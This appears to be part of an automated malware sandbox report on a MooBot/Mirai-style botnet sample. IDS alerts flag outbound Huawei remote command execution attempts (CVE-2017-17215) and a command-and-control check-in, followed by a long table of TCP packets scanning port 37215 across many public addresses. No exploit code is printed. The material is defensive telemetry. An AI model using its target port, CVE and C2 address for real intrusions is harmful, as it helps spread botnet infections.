2024-08-01T15:36:06.716164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46330	37215	192.168.2.14	41.51.58.47
2024-08-01T15:35:35.117831+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41824	37215	192.168.2.14	41.28.164.201
2024-08-01T15:35:40.232788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45920	37215	192.168.2.14	157.130.148.75
2024-08-01T15:35:21.910101+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47902	37215	192.168.2.14	41.52.12.132
2024-08-01T15:35:26.520024+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	43650	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:16.464731+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39524	37215	192.168.2.14	41.189.13.212
2024-08-01T15:36:18.249619+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47068	37215	192.168.2.14	41.35.123.103
2024-08-01T15:36:22.383684+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59270	37215	192.168.2.14	116.71.213.103
2024-08-01T15:36:32.809229+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60128	37215	192.168.2.14	197.95.114.137
2024-08-01T15:36:53.712504+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44436	37215	192.168.2.14	197.57.201.252
2024-08-01T15:35:43.356860+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45154	37215	192.168.2.14	197.32.89.125
2024-08-01T15:35:20.545626+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48904	37215	192.168.2.14	125.225.95.55
2024-08-01T15:35:20.206226+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37516	37215	192.168.2.14	197.226.46.21
2024-08-01T15:36:15.199014+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36076	37215	192.168.2.14	157.14.141.166
2024-08-01T15:36:01.488777+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36524	37215	192.168.2.14	41.139.68.244
2024-08-01T15:35:21.918404+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36982	37215	192.168.2.14	41.5.166.214
2024-08-01T15:36:03.794499+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47886	37215	192.168.2.14	41.98.162.135
2024-08-01T15:35:20.209413+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43462	37215	192.168.2.14	197.92.56.154
2024-08-01T15:36:57.564486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49546	37215	192.168.2.14	41.191.192.9
2024-08-01T15:36:01.468514+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52230	37215	192.168.2.14	41.93.105.169
2024-08-01T15:36:14.809331+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53532	37215	192.168.2.14	41.145.34.44
2024-08-01T15:35:17.111012+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56062	37215	192.168.2.14	41.219.12.182
2024-08-01T15:35:43.228588+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39554	37215	192.168.2.14	157.165.14.107
2024-08-01T15:35:20.209110+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45084	37215	192.168.2.14	157.185.146.40
2024-08-01T15:36:09.868887+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48096	37215	192.168.2.14	41.176.174.191
2024-08-01T15:35:37.353666+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54372	37215	192.168.2.14	197.8.115.65
2024-08-01T15:36:06.680728+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37428	37215	192.168.2.14	157.201.95.241
2024-08-01T15:36:38.068745+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45674	37215	192.168.2.14	23.106.143.175
2024-08-01T15:35:20.545323+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47622	37215	192.168.2.14	197.122.92.13
2024-08-01T15:35:17.157612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35318	37215	192.168.2.14	42.88.115.24
2024-08-01T15:36:48.381713+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37288	37215	192.168.2.14	197.26.235.72
2024-08-01T15:36:06.688797+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50784	37215	192.168.2.14	175.81.117.133
2024-08-01T15:36:09.888203+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36004	37215	192.168.2.14	155.189.35.205
2024-08-01T15:36:52.655044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35362	37215	192.168.2.14	197.159.24.204
2024-08-01T15:36:26.559476+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34818	37215	192.168.2.14	41.18.166.95
2024-08-01T15:35:20.545409+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38288	37215	192.168.2.14	197.23.159.50
2024-08-01T15:36:09.905263+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49826	37215	192.168.2.14	197.10.247.77
2024-08-01T15:36:16.182275+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42684	37215	192.168.2.14	157.54.52.79
2024-08-01T15:35:16.382978+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33270	37215	192.168.2.14	157.87.117.169
2024-08-01T15:36:18.255124+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39852	37215	192.168.2.14	157.147.153.63
2024-08-01T15:36:48.435616+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60456	37215	192.168.2.14	41.58.70.124
2024-08-01T15:35:16.571536+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48538	37215	192.168.2.14	197.42.176.105
2024-08-01T15:36:48.417962+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41968	37215	192.168.2.14	197.211.68.135
2024-08-01T15:35:20.216200+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49628	37215	192.168.2.14	157.27.194.23
2024-08-01T15:36:24.453072+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46764	37215	192.168.2.14	197.20.226.139
2024-08-01T15:35:20.210392+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51976	37215	192.168.2.14	194.193.18.127
2024-08-01T15:36:30.755532+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56984	37215	192.168.2.14	197.253.200.39
2024-08-01T15:35:21.871288+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59080	37215	192.168.2.14	197.104.209.122
2024-08-01T15:36:36.949016+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54970	37215	192.168.2.14	41.170.250.88
2024-08-01T15:35:16.336761+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49990	37215	192.168.2.14	196.207.169.224
2024-08-01T15:35:21.831433+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41796	37215	192.168.2.14	32.15.100.40
2024-08-01T15:35:36.924506+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39954	37215	192.168.2.14	152.248.99.35
2024-08-01T15:35:54.383521+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52562	37215	192.168.2.14	41.107.195.129
2024-08-01T15:35:20.209581+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33634	37215	192.168.2.14	41.136.78.84
2024-08-01T15:36:18.252691+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34440	37215	192.168.2.14	157.27.255.75
2024-08-01T15:35:50.277977+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33546	37215	192.168.2.14	23.53.57.248
2024-08-01T15:35:58.789095+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59232	37215	192.168.2.14	51.42.187.207
2024-08-01T15:35:43.356180+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39252	37215	192.168.2.14	109.219.198.128
2024-08-01T15:35:17.027226+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56412	37215	192.168.2.14	157.39.220.56
2024-08-01T15:36:06.681793+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47222	37215	192.168.2.14	41.191.168.17

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 1, 2024 15:34:54.853055000 CEST	47767	37215	192.168.2.14	2.138.219.53
Aug 1, 2024 15:34:54.853133917 CEST	47767	37215	192.168.2.14	171.189.230.58
Aug 1, 2024 15:34:54.853133917 CEST	47767	37215	192.168.2.14	41.15.250.54
Aug 1, 2024 15:34:54.853204966 CEST	47767	37215	192.168.2.14	197.82.231.104
Aug 1, 2024 15:34:54.853214025 CEST	47767	37215	192.168.2.14	41.102.235.147
Aug 1, 2024 15:34:54.853214979 CEST	47767	37215	192.168.2.14	41.243.78.48
Aug 1, 2024 15:34:54.853260994 CEST	47767	37215	192.168.2.14	222.142.83.55
Aug 1, 2024 15:34:54.853262901 CEST	47767	37215	192.168.2.14	197.95.7.206
Aug 1, 2024 15:34:54.853312969 CEST	47767	37215	192.168.2.14	41.236.40.252
Aug 1, 2024 15:34:54.853362083 CEST	47767	37215	192.168.2.14	157.121.143.74
Aug 1, 2024 15:34:54.853367090 CEST	47767	37215	192.168.2.14	41.219.67.173
Aug 1, 2024 15:34:54.853367090 CEST	47767	37215	192.168.2.14	41.147.162.230
Aug 1, 2024 15:34:54.853369951 CEST	47767	37215	192.168.2.14	41.55.124.183
Aug 1, 2024 15:34:54.853399992 CEST	47767	37215	192.168.2.14	196.207.169.224
Aug 1, 2024 15:34:54.853415966 CEST	47767	37215	192.168.2.14	41.134.51.115
Aug 1, 2024 15:34:54.853415966 CEST	47767	37215	192.168.2.14	41.190.123.131
Aug 1, 2024 15:34:54.853440046 CEST	47767	37215	192.168.2.14	157.51.252.216
Aug 1, 2024 15:34:54.853454113 CEST	47767	37215	192.168.2.14	41.59.74.157
Aug 1, 2024 15:34:54.853492022 CEST	47767	37215	192.168.2.14	41.37.124.216
Aug 1, 2024 15:34:54.853537083 CEST	47767	37215	192.168.2.14	182.53.203.199
Aug 1, 2024 15:34:54.853543043 CEST	47767	37215	192.168.2.14	157.252.179.4
Aug 1, 2024 15:34:54.853543043 CEST	47767	37215	192.168.2.14	157.87.117.169
Aug 1, 2024 15:34:54.853555918 CEST	47767	37215	192.168.2.14	67.173.236.255
Aug 1, 2024 15:34:54.853585005 CEST	47767	37215	192.168.2.14	164.63.63.103
Aug 1, 2024 15:34:54.853609085 CEST	47767	37215	192.168.2.14	157.247.173.232
Aug 1, 2024 15:34:54.853610039 CEST	47767	37215	192.168.2.14	92.28.110.8
Aug 1, 2024 15:34:54.853616953 CEST	47767	37215	192.168.2.14	197.251.68.85
Aug 1, 2024 15:34:54.853626013 CEST	47767	37215	192.168.2.14	136.209.131.27
Aug 1, 2024 15:34:54.853641987 CEST	47767	37215	192.168.2.14	60.255.178.57
Aug 1, 2024 15:34:54.853677034 CEST	47767	37215	192.168.2.14	197.37.11.189
Aug 1, 2024 15:34:54.853697062 CEST	47767	37215	192.168.2.14	197.171.29.163
Aug 1, 2024 15:34:54.853698969 CEST	47767	37215	192.168.2.14	197.52.238.43
Aug 1, 2024 15:34:54.853705883 CEST	47767	37215	192.168.2.14	41.205.131.121
Aug 1, 2024 15:34:54.853718042 CEST	47767	37215	192.168.2.14	157.10.149.35
Aug 1, 2024 15:34:54.853738070 CEST	47767	37215	192.168.2.14	38.93.44.240
Aug 1, 2024 15:34:54.853749990 CEST	47767	37215	192.168.2.14	41.189.13.212
Aug 1, 2024 15:34:54.853787899 CEST	47767	37215	192.168.2.14	197.206.139.104
Aug 1, 2024 15:34:54.853799105 CEST	47767	37215	192.168.2.14	184.46.233.237
Aug 1, 2024 15:34:54.853812933 CEST	47767	37215	192.168.2.14	157.194.219.212
Aug 1, 2024 15:34:54.853888988 CEST	47767	37215	192.168.2.14	197.91.38.97
Aug 1, 2024 15:34:54.853907108 CEST	47767	37215	192.168.2.14	157.220.82.146
Aug 1, 2024 15:34:54.853910923 CEST	47767	37215	192.168.2.14	107.106.86.9
Aug 1, 2024 15:34:54.853910923 CEST	47767	37215	192.168.2.14	197.190.55.55
Aug 1, 2024 15:34:54.853914022 CEST	47767	37215	192.168.2.14	197.13.177.97
Aug 1, 2024 15:34:54.853935957 CEST	47767	37215	192.168.2.14	99.216.115.116
Aug 1, 2024 15:34:54.853960037 CEST	47767	37215	192.168.2.14	177.186.243.242
Aug 1, 2024 15:34:54.853960991 CEST	47767	37215	192.168.2.14	41.183.144.125
Aug 1, 2024 15:34:54.854001045 CEST	47767	37215	192.168.2.14	41.140.10.97
Aug 1, 2024 15:34:54.854161024 CEST	47767	37215	192.168.2.14	197.42.176.105
Aug 1, 2024 15:34:54.854170084 CEST	47767	37215	192.168.2.14	197.237.103.241
Aug 1, 2024 15:34:54.854224920 CEST	47767	37215	192.168.2.14	147.211.62.145
Aug 1, 2024 15:34:54.854252100 CEST	47767	37215	192.168.2.14	157.108.49.207
Aug 1, 2024 15:34:54.854268074 CEST	47767	37215	192.168.2.14	157.102.148.103
Aug 1, 2024 15:34:54.854290962 CEST	47767	37215	192.168.2.14	195.22.164.112
Aug 1, 2024 15:34:54.854310989 CEST	47767	37215	192.168.2.14	197.75.43.144
Aug 1, 2024 15:34:54.854327917 CEST	47767	37215	192.168.2.14	197.176.187.27
Aug 1, 2024 15:34:54.854329109 CEST	47767	37215	192.168.2.14	41.68.112.151
Aug 1, 2024 15:34:54.854336023 CEST	47767	37215	192.168.2.14	110.208.30.2
Aug 1, 2024 15:34:54.854338884 CEST	47767	37215	192.168.2.14	157.115.41.196
Aug 1, 2024 15:34:54.854367018 CEST	47767	37215	192.168.2.14	157.129.37.247
Aug 1, 2024 15:34:54.854394913 CEST	47767	37215	192.168.2.14	197.106.91.113
Aug 1, 2024 15:34:54.854394913 CEST	47767	37215	192.168.2.14	157.251.247.196
Aug 1, 2024 15:34:54.854424000 CEST	47767	37215	192.168.2.14	197.88.34.150
Aug 1, 2024 15:34:54.854448080 CEST	47767	37215	192.168.2.14	168.234.4.56
Aug 1, 2024 15:34:54.854453087 CEST	47767	37215	192.168.2.14	157.122.220.214
Aug 1, 2024 15:34:54.854453087 CEST	47767	37215	192.168.2.14	41.184.88.67
Aug 1, 2024 15:34:54.854538918 CEST	47767	37215	192.168.2.14	130.233.217.238
Aug 1, 2024 15:34:54.854538918 CEST	47767	37215	192.168.2.14	41.169.67.45
Aug 1, 2024 15:34:54.854540110 CEST	47767	37215	192.168.2.14	157.169.17.131
Aug 1, 2024 15:34:54.854549885 CEST	47767	37215	192.168.2.14	115.105.251.29
Aug 1, 2024 15:34:54.854566097 CEST	47767	37215	192.168.2.14	103.20.177.119
Aug 1, 2024 15:34:54.854592085 CEST	47767	37215	192.168.2.14	61.43.155.73
Aug 1, 2024 15:34:54.854614973 CEST	47767	37215	192.168.2.14	197.169.248.145
Aug 1, 2024 15:34:54.854614973 CEST	47767	37215	192.168.2.14	157.60.145.99
Aug 1, 2024 15:34:54.854624033 CEST	47767	37215	192.168.2.14	41.53.76.199
Aug 1, 2024 15:34:54.854636908 CEST	47767	37215	192.168.2.14	197.124.18.82
Aug 1, 2024 15:34:54.854660988 CEST	47767	37215	192.168.2.14	41.178.100.181
Aug 1, 2024 15:34:54.854703903 CEST	47767	37215	192.168.2.14	197.40.23.137
Aug 1, 2024 15:34:54.854722977 CEST	47767	37215	192.168.2.14	41.88.176.209
Aug 1, 2024 15:34:54.854742050 CEST	47767	37215	192.168.2.14	157.187.148.134
Aug 1, 2024 15:34:54.854762077 CEST	47767	37215	192.168.2.14	41.89.33.33
Aug 1, 2024 15:34:54.854783058 CEST	47767	37215	192.168.2.14	41.143.18.123
Aug 1, 2024 15:34:54.854826927 CEST	47767	37215	192.168.2.14	41.78.39.108
Aug 1, 2024 15:34:54.854830027 CEST	47767	37215	192.168.2.14	123.236.6.145
Aug 1, 2024 15:34:54.854840040 CEST	47767	37215	192.168.2.14	157.88.238.24
Aug 1, 2024 15:34:54.854851961 CEST	47767	37215	192.168.2.14	157.133.254.58
Aug 1, 2024 15:34:54.854860067 CEST	47767	37215	192.168.2.14	41.148.120.113
Aug 1, 2024 15:34:54.854875088 CEST	47767	37215	192.168.2.14	41.6.248.212
Aug 1, 2024 15:34:54.854887962 CEST	47767	37215	192.168.2.14	191.150.229.72
Aug 1, 2024 15:34:54.854919910 CEST	47767	37215	192.168.2.14	41.210.198.23
Aug 1, 2024 15:34:54.854999065 CEST	47767	37215	192.168.2.14	159.97.190.21
Aug 1, 2024 15:34:54.855000019 CEST	47767	37215	192.168.2.14	41.84.67.216
Aug 1, 2024 15:34:54.855035067 CEST	47767	37215	192.168.2.14	113.77.151.196
Aug 1, 2024 15:34:54.855071068 CEST	47767	37215	192.168.2.14	41.130.209.143
Aug 1, 2024 15:34:54.855084896 CEST	47767	37215	192.168.2.14	41.226.213.137
Aug 1, 2024 15:34:54.855094910 CEST	47767	37215	192.168.2.14	197.190.3.77
Aug 1, 2024 15:34:54.855094910 CEST	47767	37215	192.168.2.14	200.89.131.108
Aug 1, 2024 15:34:54.855104923 CEST	47767	37215	192.168.2.14	197.179.175.169
Aug 1, 2024 15:34:54.855120897 CEST	47767	37215	192.168.2.14	222.239.93.139
Aug 1, 2024 15:34:54.855135918 CEST	47767	37215	192.168.2.14	57.64.230.60
Aug 1, 2024 15:34:54.855178118 CEST	47767	37215	192.168.2.14	157.75.77.178
Aug 1, 2024 15:34:54.855180979 CEST	47767	37215	192.168.2.14	157.253.51.213
Aug 1, 2024 15:34:54.855195999 CEST	47767	37215	192.168.2.14	197.102.172.2
Aug 1, 2024 15:34:54.855225086 CEST	47767	37215	192.168.2.14	157.133.24.232
Aug 1, 2024 15:34:54.855228901 CEST	47767	37215	192.168.2.14	197.64.45.114
Aug 1, 2024 15:34:54.855249882 CEST	47767	37215	192.168.2.14	157.157.109.60
Aug 1, 2024 15:34:54.855276108 CEST	47767	37215	192.168.2.14	157.203.23.110
Aug 1, 2024 15:34:54.855339050 CEST	47767	37215	192.168.2.14	157.206.8.180
Aug 1, 2024 15:34:54.855344057 CEST	47767	37215	192.168.2.14	197.103.193.138
Aug 1, 2024 15:34:54.855345011 CEST	47767	37215	192.168.2.14	157.62.255.255
Aug 1, 2024 15:34:54.855350971 CEST	47767	37215	192.168.2.14	197.118.161.155
Aug 1, 2024 15:34:54.855350971 CEST	47767	37215	192.168.2.14	168.204.229.155
Aug 1, 2024 15:34:54.855377913 CEST	47767	37215	192.168.2.14	13.191.210.26
Aug 1, 2024 15:34:54.855377913 CEST	47767	37215	192.168.2.14	157.251.239.40
Aug 1, 2024 15:34:54.855403900 CEST	47767	37215	192.168.2.14	34.114.172.79
Aug 1, 2024 15:34:54.855413914 CEST	47767	37215	192.168.2.14	157.39.220.56
Aug 1, 2024 15:34:54.855456114 CEST	47767	37215	192.168.2.14	133.178.29.77
Aug 1, 2024 15:34:54.855482101 CEST	47767	37215	192.168.2.14	41.81.182.25
Aug 1, 2024 15:34:54.855534077 CEST	47767	37215	192.168.2.14	157.113.100.5
Aug 1, 2024 15:34:54.855537891 CEST	47767	37215	192.168.2.14	157.121.169.87
Aug 1, 2024 15:34:54.855547905 CEST	47767	37215	192.168.2.14	197.97.234.242
Aug 1, 2024 15:34:54.855551958 CEST	47767	37215	192.168.2.14	157.84.81.43
Aug 1, 2024 15:34:54.855564117 CEST	47767	37215	192.168.2.14	157.136.241.140
Aug 1, 2024 15:34:54.855592012 CEST	47767	37215	192.168.2.14	41.151.182.180
Aug 1, 2024 15:34:54.855592012 CEST	47767	37215	192.168.2.14	197.130.235.100
Aug 1, 2024 15:34:54.855618000 CEST	47767	37215	192.168.2.14	41.138.22.23
Aug 1, 2024 15:34:54.855644941 CEST	47767	37215	192.168.2.14	41.177.87.219
Aug 1, 2024 15:34:54.855645895 CEST	47767	37215	192.168.2.14	41.227.113.252
Aug 1, 2024 15:34:54.855648994 CEST	47767	37215	192.168.2.14	197.229.42.106
Aug 1, 2024 15:34:54.855698109 CEST	47767	37215	192.168.2.14	157.79.113.156
Aug 1, 2024 15:34:54.855724096 CEST	47767	37215	192.168.2.14	179.178.208.249
Aug 1, 2024 15:34:54.855731964 CEST	47767	37215	192.168.2.14	197.43.214.179
Aug 1, 2024 15:34:54.855765104 CEST	47767	37215	192.168.2.14	157.180.101.63
Aug 1, 2024 15:34:54.855767965 CEST	47767	37215	192.168.2.14	41.221.227.83
Aug 1, 2024 15:34:54.855782986 CEST	47767	37215	192.168.2.14	77.89.16.248
Aug 1, 2024 15:34:54.855892897 CEST	47767	37215	192.168.2.14	157.251.61.118
Aug 1, 2024 15:34:54.855892897 CEST	47767	37215	192.168.2.14	41.92.13.87
Aug 1, 2024 15:34:54.855894089 CEST	47767	37215	192.168.2.14	41.94.14.140
Aug 1, 2024 15:34:54.855894089 CEST	47767	37215	192.168.2.14	41.81.68.60
Aug 1, 2024 15:34:54.855894089 CEST	47767	37215	192.168.2.14	197.83.5.96
Aug 1, 2024 15:34:54.855923891 CEST	47767	37215	192.168.2.14	71.115.192.50
Aug 1, 2024 15:34:54.855923891 CEST	47767	37215	192.168.2.14	148.35.167.224
Aug 1, 2024 15:34:54.855957985 CEST	47767	37215	192.168.2.14	197.51.110.122
Aug 1, 2024 15:34:54.855978966 CEST	47767	37215	192.168.2.14	41.219.12.182
Aug 1, 2024 15:34:54.855984926 CEST	47767	37215	192.168.2.14	197.67.20.98
Aug 1, 2024 15:34:54.855986118 CEST	47767	37215	192.168.2.14	41.114.115.214
Aug 1, 2024 15:34:54.856013060 CEST	47767	37215	192.168.2.14	157.118.102.239
Aug 1, 2024 15:34:54.856013060 CEST	47767	37215	192.168.2.14	41.253.96.70
Aug 1, 2024 15:34:54.856048107 CEST	47767	37215	192.168.2.14	197.185.58.243
Aug 1, 2024 15:34:54.856053114 CEST	47767	37215	192.168.2.14	84.84.190.161
Aug 1, 2024 15:34:54.856074095 CEST	47767	37215	192.168.2.14	157.82.15.33
Aug 1, 2024 15:34:54.856085062 CEST	47767	37215	192.168.2.14	197.35.116.111
Aug 1, 2024 15:34:54.856101036 CEST	47767	37215	192.168.2.14	41.165.0.32
Aug 1, 2024 15:34:54.856120110 CEST	47767	37215	192.168.2.14	197.245.144.135
Aug 1, 2024 15:34:54.856175900 CEST	47767	37215	192.168.2.14	157.7.123.100
Aug 1, 2024 15:34:54.856183052 CEST	47767	37215	192.168.2.14	157.15.47.253
Aug 1, 2024 15:34:54.856199026 CEST	47767	37215	192.168.2.14	41.183.132.81
Aug 1, 2024 15:34:54.856201887 CEST	47767	37215	192.168.2.14	163.98.100.231
Aug 1, 2024 15:34:54.856201887 CEST	47767	37215	192.168.2.14	197.145.196.151
Aug 1, 2024 15:34:54.856201887 CEST	47767	37215	192.168.2.14	170.68.156.59
Aug 1, 2024 15:34:54.856221914 CEST	47767	37215	192.168.2.14	197.102.57.118
Aug 1, 2024 15:34:54.856242895 CEST	47767	37215	192.168.2.14	41.189.120.137
Aug 1, 2024 15:34:54.856277943 CEST	47767	37215	192.168.2.14	42.88.115.24
Aug 1, 2024 15:34:54.856326103 CEST	47767	37215	192.168.2.14	198.59.102.193
Aug 1, 2024 15:34:54.856326103 CEST	47767	37215	192.168.2.14	197.30.140.131
Aug 1, 2024 15:34:54.856340885 CEST	47767	37215	192.168.2.14	197.84.194.246
Aug 1, 2024 15:34:54.856358051 CEST	47767	37215	192.168.2.14	210.95.223.139
Aug 1, 2024 15:34:54.856359959 CEST	47767	37215	192.168.2.14	157.37.176.1
Aug 1, 2024 15:34:54.856364012 CEST	47767	37215	192.168.2.14	157.240.233.234
Aug 1, 2024 15:34:54.856393099 CEST	47767	37215	192.168.2.14	157.43.122.94
Aug 1, 2024 15:34:54.856451035 CEST	47767	37215	192.168.2.14	107.71.89.123
Aug 1, 2024 15:34:54.856470108 CEST	47767	37215	192.168.2.14	41.103.132.220
Aug 1, 2024 15:34:54.856477022 CEST	47767	37215	192.168.2.14	197.66.231.176
Aug 1, 2024 15:34:54.856486082 CEST	47767	37215	192.168.2.14	157.222.213.96
Aug 1, 2024 15:34:54.856504917 CEST	47767	37215	192.168.2.14	157.50.154.212
Aug 1, 2024 15:34:54.856507063 CEST	47767	37215	192.168.2.14	157.181.139.104
Aug 1, 2024 15:34:54.856515884 CEST	47767	37215	192.168.2.14	157.240.104.101
Aug 1, 2024 15:34:54.856528044 CEST	47767	37215	192.168.2.14	157.98.235.131
Aug 1, 2024 15:34:54.856547117 CEST	47767	37215	192.168.2.14	197.96.34.47
Aug 1, 2024 15:34:54.856595993 CEST	47767	37215	192.168.2.14	197.162.84.249
Aug 1, 2024 15:34:54.856640100 CEST	47767	37215	192.168.2.14	41.91.200.66
Aug 1, 2024 15:34:54.856654882 CEST	47767	37215	192.168.2.14	41.148.255.61
Aug 1, 2024 15:34:54.856654882 CEST	47767	37215	192.168.2.14	136.114.60.196
Aug 1, 2024 15:34:54.856656075 CEST	47767	37215	192.168.2.14	41.65.179.28
Aug 1, 2024 15:34:54.856656075 CEST	47767	37215	192.168.2.14	154.127.74.3
Aug 1, 2024 15:34:54.856658936 CEST	47767	37215	192.168.2.14	197.203.149.34
Aug 1, 2024 15:34:54.856690884 CEST	47767	37215	192.168.2.14	188.157.140.238
Aug 1, 2024 15:34:54.856693983 CEST	47767	37215	192.168.2.14	197.178.94.171
Aug 1, 2024 15:34:54.856704950 CEST	47767	37215	192.168.2.14	157.26.48.200
Aug 1, 2024 15:34:54.856756926 CEST	47767	37215	192.168.2.14	157.246.8.72
Aug 1, 2024 15:34:54.856821060 CEST	47767	37215	192.168.2.14	183.227.14.205
Aug 1, 2024 15:34:54.856837034 CEST	47767	37215	192.168.2.14	197.141.49.56
Aug 1, 2024 15:34:54.856837988 CEST	47767	37215	192.168.2.14	41.237.91.33
Aug 1, 2024 15:34:54.856851101 CEST	47767	37215	192.168.2.14	197.216.73.67
Aug 1, 2024 15:34:54.856879950 CEST	47767	37215	192.168.2.14	197.204.245.229
Aug 1, 2024 15:34:54.856889963 CEST	47767	37215	192.168.2.14	71.231.100.191
Aug 1, 2024 15:34:54.856901884 CEST	47767	37215	192.168.2.14	41.50.33.13
Aug 1, 2024 15:34:54.856911898 CEST	47767	37215	192.168.2.14	23.167.99.160
Aug 1, 2024 15:34:54.856973886 CEST	47767	37215	192.168.2.14	41.119.3.63
Aug 1, 2024 15:34:54.856986046 CEST	47767	37215	192.168.2.14	157.201.195.117
Aug 1, 2024 15:34:54.856986046 CEST	47767	37215	192.168.2.14	41.182.106.95
Aug 1, 2024 15:34:54.856996059 CEST	47767	37215	192.168.2.14	197.154.194.70
Aug 1, 2024 15:34:54.857021093 CEST	47767	37215	192.168.2.14	41.58.90.47
Aug 1, 2024 15:34:54.857022047 CEST	47767	37215	192.168.2.14	197.115.217.226
Aug 1, 2024 15:34:54.857044935 CEST	47767	37215	192.168.2.14	157.156.240.21
Aug 1, 2024 15:34:54.857048988 CEST	47767	37215	192.168.2.14	157.36.154.9
Aug 1, 2024 15:34:54.857055902 CEST	47767	37215	192.168.2.14	41.229.136.154
